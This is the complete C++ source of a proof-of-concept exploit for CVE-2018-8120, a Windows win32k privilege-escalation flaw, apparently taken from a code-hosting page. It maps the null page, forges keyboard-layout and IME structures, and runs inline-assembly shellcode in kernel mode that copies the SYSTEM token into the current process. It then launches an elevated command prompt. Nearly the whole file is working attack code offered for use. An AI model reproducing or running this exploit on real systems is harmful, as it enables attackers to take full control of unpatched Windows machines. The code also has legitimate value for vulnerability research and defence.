Permalink
Cannot retrieve contributors at this time
/** | |
* Exploit: CVE-2018-8120 | |
* Author: Leeqwind (@leeqwind) | |
* Paper(zh): https://xiaodaozhi.com/exploit/149.html | |
* Paper(en): https://xiaodaozhi.com/exploit/156.html | |
* Declaration: NO LEGAL LIABILITY. | |
*/ | |
#include <Windows.h> | |
#include <wingdi.h> | |
#include <WinUser.h> | |
#include <iostream> | |
#include <Psapi.h> | |
#pragma comment(lib, "psapi.lib") | |
#define POCDEBUG 0 | |
#if POCDEBUG == 1 | |
#define POCDEBUG_BREAK() getchar() | |
#elif POCDEBUG == 2 | |
#define POCDEBUG_BREAK() __debugbreak() | |
#else | |
#define POCDEBUG_BREAK() | |
#endif | |
typedef struct _THRDESKHEAD { | |
HANDLE h; | |
DWORD cLockObj; | |
PVOID pti; | |
PVOID rpdesk; | |
PBYTE pSelf; | |
} THRDESKHEAD, *PTHRDESKHEAD; | |
typedef struct _SHELLCODE { | |
DWORD reserved; | |
DWORD pid; | |
DWORD off_THREADINFO_ppi; | |
DWORD off_EPROCESS_ActiveLink; | |
DWORD off_EPROCESS_Token; | |
BOOL bExploited; | |
BYTE pfnWindProc[]; | |
} SHELLCODE, *PSHELLCODE; | |
static PSHELLCODE pvShellCode = NULL; | |
typedef | |
NTSTATUS | |
(WINAPI *pfNtAllocateVirtualMemory) ( | |
HANDLE ProcessHandle, | |
PVOID *BaseAddress, | |
ULONG_PTR ZeroBits, | |
PSIZE_T RegionSize, | |
ULONG AllocationType, | |
ULONG Protect | |
); | |
pfNtAllocateVirtualMemory NtAllocateVirtualMemory = NULL; | |
/* | |
* kd> dt win32k!tagWINDOWSTATION | |
* +0x000 dwSessionId : Uint4B | |
* +0x004 rpwinstaNext : Ptr32 tagWINDOWSTATION | |
* +0x008 rpdeskList : Ptr32 tagDESKTOP | |
* +0x00c pTerm : Ptr32 tagTERMINAL | |
* +0x010 dwWSF_Flags : Uint4B | |
* +0x014 spklList : Ptr32 tagKL | |
* +0x018 ptiClipLock : Ptr32 tagTHREADINFO | |
* +0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO | |
* +0x020 spwndClipOpen : Ptr32 tagWND | |
* +0x024 spwndClipViewer : Ptr32 tagWND | |
* +0x028 spwndClipOwner : Ptr32 tagWND | |
* +0x02c pClipBase : Ptr32 tagCLIP | |
* +0x030 cNumClipFormats : Uint4B | |
* +0x034 iClipSerialNumber : Uint4B | |
* +0x038 iClipSequenceNumber : Uint4B | |
* +0x03c spwndClipboardListener : Ptr32 tagWND | |
* +0x040 pGlobalAtomTable : Ptr32 Void | |
* +0x044 luidEndSession : _LUID | |
* +0x04c luidUser : _LUID | |
* +0x054 psidUser : Ptr32 Void | |
* kd> dt win32k!tagKL | |
* +0x000 head : _HEAD | |
* +0x008 pklNext : Ptr32 tagKL | |
* +0x00c pklPrev : Ptr32 tagKL | |
* +0x010 dwKL_Flags : Uint4B | |
* +0x014 hkl : Ptr32 HKL__ | |
* +0x018 spkf : Ptr32 tagKBDFILE | |
* +0x01c spkfPrimary : Ptr32 tagKBDFILE | |
* +0x020 dwFontSigs : Uint4B | |
* +0x024 iBaseCharset : Uint4B | |
* +0x028 CodePage : Uint2B | |
* +0x02a wchDiacritic : Wchar | |
* +0x02c piiex : Ptr32 tagIMEINFOEX | |
* +0x030 uNumTbl : Uint4B | |
* +0x034 pspkfExtra : Ptr32 Ptr32 tagKBDFILE | |
* +0x038 dwLastKbdType : Uint4B | |
* +0x03c dwLastKbdSubType : Uint4B | |
* +0x040 dwKLID : Uint4B | |
*/ | |
/* | |
* kd> dt win32k!tagIMEINFO | |
* +0x000 dwPrivateDataSize : Uint4B | |
* +0x004 fdwProperty : Uint4B | |
* +0x008 fdwConversionCaps : Uint4B | |
* +0x00c fdwSentenceCaps : Uint4B | |
* +0x010 fdwUICaps : Uint4B | |
* +0x014 fdwSCSCaps : Uint4B | |
* +0x018 fdwSelectCaps : Uint4B | |
*/ | |
typedef struct { | |
DWORD dwPrivateDataSize; | |
DWORD fdwProperty; | |
DWORD fdwConversionCaps; | |
DWORD fdwSentenceCaps; | |
DWORD fdwUICaps; | |
DWORD fdwSCSCaps; | |
DWORD fdwSelectCaps; | |
} tagIMEINFO; | |
#define IM_UI_CLASS_SIZE 16 | |
#define IM_DESC_SIZE 50 | |
#define IM_FILE_SIZE 80 | |
/* | |
* Extended IME information. | |
* | |
* kd> dt win32k!tagIMEINFOEX | |
* +0x000 hkl : Ptr32 HKL__ | |
* +0x004 ImeInfo : tagIMEINFO | |
* +0x020 wszUIClass : [16] Wchar | |
* +0x040 fdwInitConvMode : Uint4B | |
* +0x044 fInitOpen : Int4B | |
* +0x048 fLoadFlag : Int4B | |
* +0x04c dwProdVersion : Uint4B | |
* +0x050 dwImeWinVersion : Uint4B | |
* +0x054 wszImeDescription : [50] Wchar | |
* +0x0b8 wszImeFile : [80] Wchar | |
* +0x158 fSysWow64Only : Pos 0, 1 Bit | |
* +0x158 fCUASLayer : Pos 1, 1 Bit | |
*/ | |
typedef struct { | |
HKL hkl; | |
tagIMEINFO ImeInfo; | |
WCHAR wszUIClass[IM_UI_CLASS_SIZE]; | |
DWORD fdwInitConvMode; | |
BOOL fInitOpen; | |
BOOL fLoadFlag; | |
DWORD dwProdVersion; | |
DWORD dwImeWinVersion; | |
WCHAR wszImeDescription[IM_DESC_SIZE]; | |
WCHAR wszImeFile[IM_FILE_SIZE]; | |
CHAR fSysWow64Only : 1; | |
BYTE fCUASLayer : 1; | |
} tagIMEINFOEX; | |
CONST DWORD offset_WINDOWSTATION_spklList = 0x014; | |
static | |
BOOL | |
__declspec(naked) | |
xxNtUserSetImeInfoEx(tagIMEINFOEX *imeInfoEx) | |
{ | |
__asm { mov eax, 1226h }; | |
__asm { lea edx, [esp + 4] }; | |
__asm { int 2eh }; | |
__asm { ret }; | |
} | |
#define NtCurrentProcess() (HANDLE)-1 | |
#define NtCurrentThread() (HANDLE)-1 | |
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) | |
static PVOID(__fastcall *pfnHMValidateHandle)(HANDLE, BYTE) = NULL; | |
static | |
VOID | |
xxGetHMValidateHandle(VOID) | |
{ | |
HMODULE hModule = LoadLibraryA("USER32.DLL"); | |
PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu"); | |
PBYTE Address = NULL; | |
for (INT i = 0; i < 0x30; i++) | |
{ | |
if (*(WORD *)(i + pfnIsMenu) != 0x02B2) | |
{ | |
continue; | |
} | |
i += 2; | |
if (*(BYTE *)(i + pfnIsMenu) != 0xE8) | |
{ | |
continue; | |
} | |
Address = *(DWORD *)(i + pfnIsMenu + 1) + pfnIsMenu; | |
Address = Address + i + 5; | |
pfnHMValidateHandle = (PVOID(__fastcall *)(HANDLE, BYTE))Address; | |
break; | |
} | |
} | |
#define TYPE_WINDOW 1 | |
static | |
PVOID | |
xxHMValidateHandleEx(HWND hwnd) | |
{ | |
return pfnHMValidateHandle((HANDLE)hwnd, TYPE_WINDOW); | |
} | |
static | |
PVOID | |
xxHMValidateHandle(HWND hwnd) | |
{ | |
PVOID RetAddr = NULL; | |
if (!pfnHMValidateHandle) | |
{ | |
xxGetHMValidateHandle(); | |
} | |
if (pfnHMValidateHandle) | |
{ | |
RetAddr = xxHMValidateHandleEx(hwnd); | |
} | |
return RetAddr; | |
} | |
static | |
DWORD | |
WINAPI | |
xxTrackExploitEx(VOID) | |
{ | |
BOOL bReturn = FALSE; | |
tagIMEINFOEX iiFaked = { 0 }; | |
SECURITY_ATTRIBUTES sa = { 0 }; | |
WNDCLASSEXW wc = { 0 }; | |
HWND hwndHunt = NULL; | |
PVOID pwndHunt = NULL; | |
HWINSTA hWinStat = NULL; | |
PVOID MemAddr = (PVOID)1; | |
SIZE_T MemSize = 0x1000; | |
std::cout << "[+]" << __FUNCTION__ << std::endl; | |
POCDEBUG_BREAK(); | |
if (!NT_SUCCESS(NtAllocateVirtualMemory(NtCurrentProcess(), | |
&MemAddr, | |
0, | |
&MemSize, | |
MEM_COMMIT | MEM_RESERVE, | |
PAGE_READWRITE)) || MemAddr != NULL) | |
{ | |
std::cout << "[-]Memory alloc failed!" << std::endl; | |
return 1; | |
} | |
ZeroMemory(MemAddr, MemSize); | |
sa.nLength = sizeof(SECURITY_ATTRIBUTES); | |
sa.lpSecurityDescriptor = NULL; | |
sa.bInheritHandle = TRUE; | |
POCDEBUG_BREAK(); | |
wc.cbSize = sizeof(WNDCLASSEXW); | |
wc.lpfnWndProc = DefWindowProcW; | |
wc.cbWndExtra = 0x100; | |
wc.hInstance = GetModuleHandleA(NULL); | |
wc.lpszMenuName = NULL; | |
wc.lpszClassName = L"WNDCLASSHUNT"; | |
RegisterClassExW(&wc); | |
hwndHunt = CreateWindowExW(WS_EX_LEFT, L"WNDCLASSHUNT", | |
NULL, | |
WS_CLIPCHILDREN | WS_CLIPSIBLINGS | WS_POPUP, // no border | |
0, | |
0, | |
0, | |
0, | |
NULL, | |
NULL, | |
GetModuleHandleA(NULL), | |
NULL); | |
PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hwndHunt); | |
POCDEBUG_BREAK(); | |
pwndHunt = head->pSelf; | |
CopyMemory(&iiFaked, (PBYTE)head, sizeof(tagIMEINFOEX)); | |
std::cout << "[+]hwndHunt=" << (PVOID)hwndHunt << std::endl; | |
std::cout << "[+]pwndHunt=" << (PVOID)pwndHunt << std::endl; | |
DWORD *klFaked = (DWORD *)MemAddr; | |
klFaked[0x02] = (DWORD)klFaked; // tagKL->pklNext | |
klFaked[0x03] = (DWORD)klFaked; // tagKL->pklPrev | |
klFaked[0x05] = (DWORD)iiFaked.hkl; // tagKL->hkl | |
klFaked[0x0B] = (DWORD)pwndHunt; // tagKL->piiex | |
*(DWORD *)((PBYTE)&iiFaked + 0x14) |= (DWORD)0x40000; //->bServerSideWindowProc | |
*(DWORD *)((PBYTE)&iiFaked + 0x60) = (DWORD)pvShellCode->pfnWindProc; //->lpfnWndProc | |
std::cout << "[+]pwnd->flags=" << (PVOID)*(DWORD *)((PBYTE)&iiFaked + 0x14) << std::endl; | |
std::cout << "[+]pwnd->lpfnWndProc=" << (PVOID)*(DWORD *)((PBYTE)&iiFaked + 0x60) << std::endl; | |
POCDEBUG_BREAK(); | |
std::cout << "[*]CreateWindowStationW()" << std::endl; | |
hWinStat = CreateWindowStationW(NULL, CWF_CREATE_ONLY, WINSTA_ALL_ACCESS, &sa); | |
std::cout << "[*]SetProcessWindowStation()" << std::endl; | |
SetProcessWindowStation(hWinStat); | |
std::cout << "[+]hWinSta=" << (PVOID)hWinStat << std::endl; | |
POCDEBUG_BREAK(); | |
std::cout << "[*]NtUserSetImeInfoEx()" << std::endl; | |
bReturn = xxNtUserSetImeInfoEx(&iiFaked); | |
if (!bReturn) | |
{ | |
std::cout << "[-]Execute Failed!" << std::endl; | |
return 1; | |
} | |
POCDEBUG_BREAK(); | |
SendMessageW(hwndHunt, 0x9F9F, 0, 0); | |
if (!pvShellCode->bExploited) | |
{ | |
std::cout << "[+]Privilege Escalation Failed!" << std::endl; | |
return 1; | |
} | |
std::cout << "[+]Privilege Escalation Done!" << std::endl; | |
return 0; | |
} | |
static | |
VOID | |
_declspec(naked) | |
xxPayloadWindProc(VOID) | |
{ | |
__asm push ebp; | |
__asm mov ebp, esp; | |
__asm mov eax, dword ptr[ebp + 0Ch]; | |
__asm cmp eax, 9F9Fh; | |
__asm jne LocRETURN; | |
__asm mov ax, cs; | |
__asm cmp ax, 1Bh; | |
__asm je LocRETURN; | |
__asm cld; | |
__asm pushad; | |
__asm call $ + 5; | |
__asm pop edx; | |
__asm sub edx, 35h; | |
LocGetEPROCESS: | |
__asm mov ecx, dword ptr[ebp + 8]; | |
__asm mov ecx, dword ptr[ecx + 8]; | |
__asm mov ebx, dword ptr[edx + 08h]; | |
__asm mov ecx, dword ptr[ebx + ecx]; | |
__asm mov ecx, dword ptr[ecx]; | |
__asm mov ebx, dword ptr[edx + 0Ch]; | |
__asm mov eax, dword ptr[edx + 4]; | |
__asm push ecx; | |
LocForCurrentPROCESS: | |
__asm cmp dword ptr[ebx + ecx - 4], eax; | |
__asm je LocFoundCURRENT; | |
__asm mov ecx, dword ptr[ebx + ecx]; | |
__asm sub ecx, ebx; | |
__asm jmp LocForCurrentPROCESS; | |
LocFoundCURRENT: | |
__asm mov edi, ecx; | |
__asm pop ecx; | |
LocForSystemPROCESS: | |
__asm cmp dword ptr[ebx + ecx - 4], 4; | |
__asm je LocFoundSYSTEM; | |
__asm mov ecx, dword ptr[ebx + ecx]; | |
__asm sub ecx, ebx; | |
__asm jmp LocForSystemPROCESS; | |
LocFoundSYSTEM: | |
__asm mov esi, ecx; | |
__asm mov eax, dword ptr[edx + 10h]; | |
__asm add esi, eax; | |
__asm add edi, eax; | |
__asm lods dword ptr[esi]; | |
__asm stos dword ptr es : [edi]; | |
__asm and eax, 0FFFFFFF8h; | |
__asm add dword ptr[eax - 18h], 2; | |
__asm mov dword ptr[edx + 14h], 1; | |
__asm popad; | |
__asm xor eax, eax; | |
LocRETURN: | |
__asm leave; | |
__asm ret 10h; | |
__asm int 3; | |
__asm int 3; | |
__asm int 3; | |
__asm int 3; | |
__asm int 3; | |
} | |
static | |
VOID xxCreateCmdLineProcess(VOID) | |
{ | |
STARTUPINFO si = { sizeof(si) }; | |
PROCESS_INFORMATION pi = { 0 }; | |
si.dwFlags = STARTF_USESHOWWINDOW; | |
si.wShowWindow = SW_SHOW; | |
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" }; | |
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); | |
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess); | |
} | |
INT POC_CVE20188120(VOID) | |
{ | |
std::cout << "-------------------" << std::endl; | |
std::cout << "POC - CVE-2018-8120" << std::endl; | |
std::cout << "-------------------" << std::endl; | |
*(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"), | |
"NtAllocateVirtualMemory"); | |
if (NtAllocateVirtualMemory == NULL) | |
{ | |
return 1; | |
} | |
pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); | |
if (pvShellCode == NULL) | |
{ | |
return 1; | |
} | |
ZeroMemory(pvShellCode, 0x1000); | |
pvShellCode->pid = GetCurrentProcessId(); | |
pvShellCode->off_THREADINFO_ppi = 0x0b8; | |
pvShellCode->off_EPROCESS_ActiveLink = 0x0b8; | |
pvShellCode->off_EPROCESS_Token = 0x0f8; | |
for (UINT i = 0; ; i++) | |
{ | |
if (*(DWORD *)&((PBYTE)xxPayloadWindProc)[i] == 0xcccccccc) | |
{ | |
CopyMemory(pvShellCode->pfnWindProc, xxPayloadWindProc, i); | |
break; | |
} | |
} | |
if (pvShellCode->pfnWindProc[0] == 0) | |
{ | |
return 1; | |
} | |
if (!xxTrackExploitEx()) | |
{ | |
xxCreateCmdLineProcess(); | |
} | |
std::cout << "-------------------" << std::endl; | |
getchar(); | |
return 0; | |
} | |
INT main(INT argc, CHAR *argv[]) | |
{ | |
POC_CVE20188120(); | |
return 0; | |
} |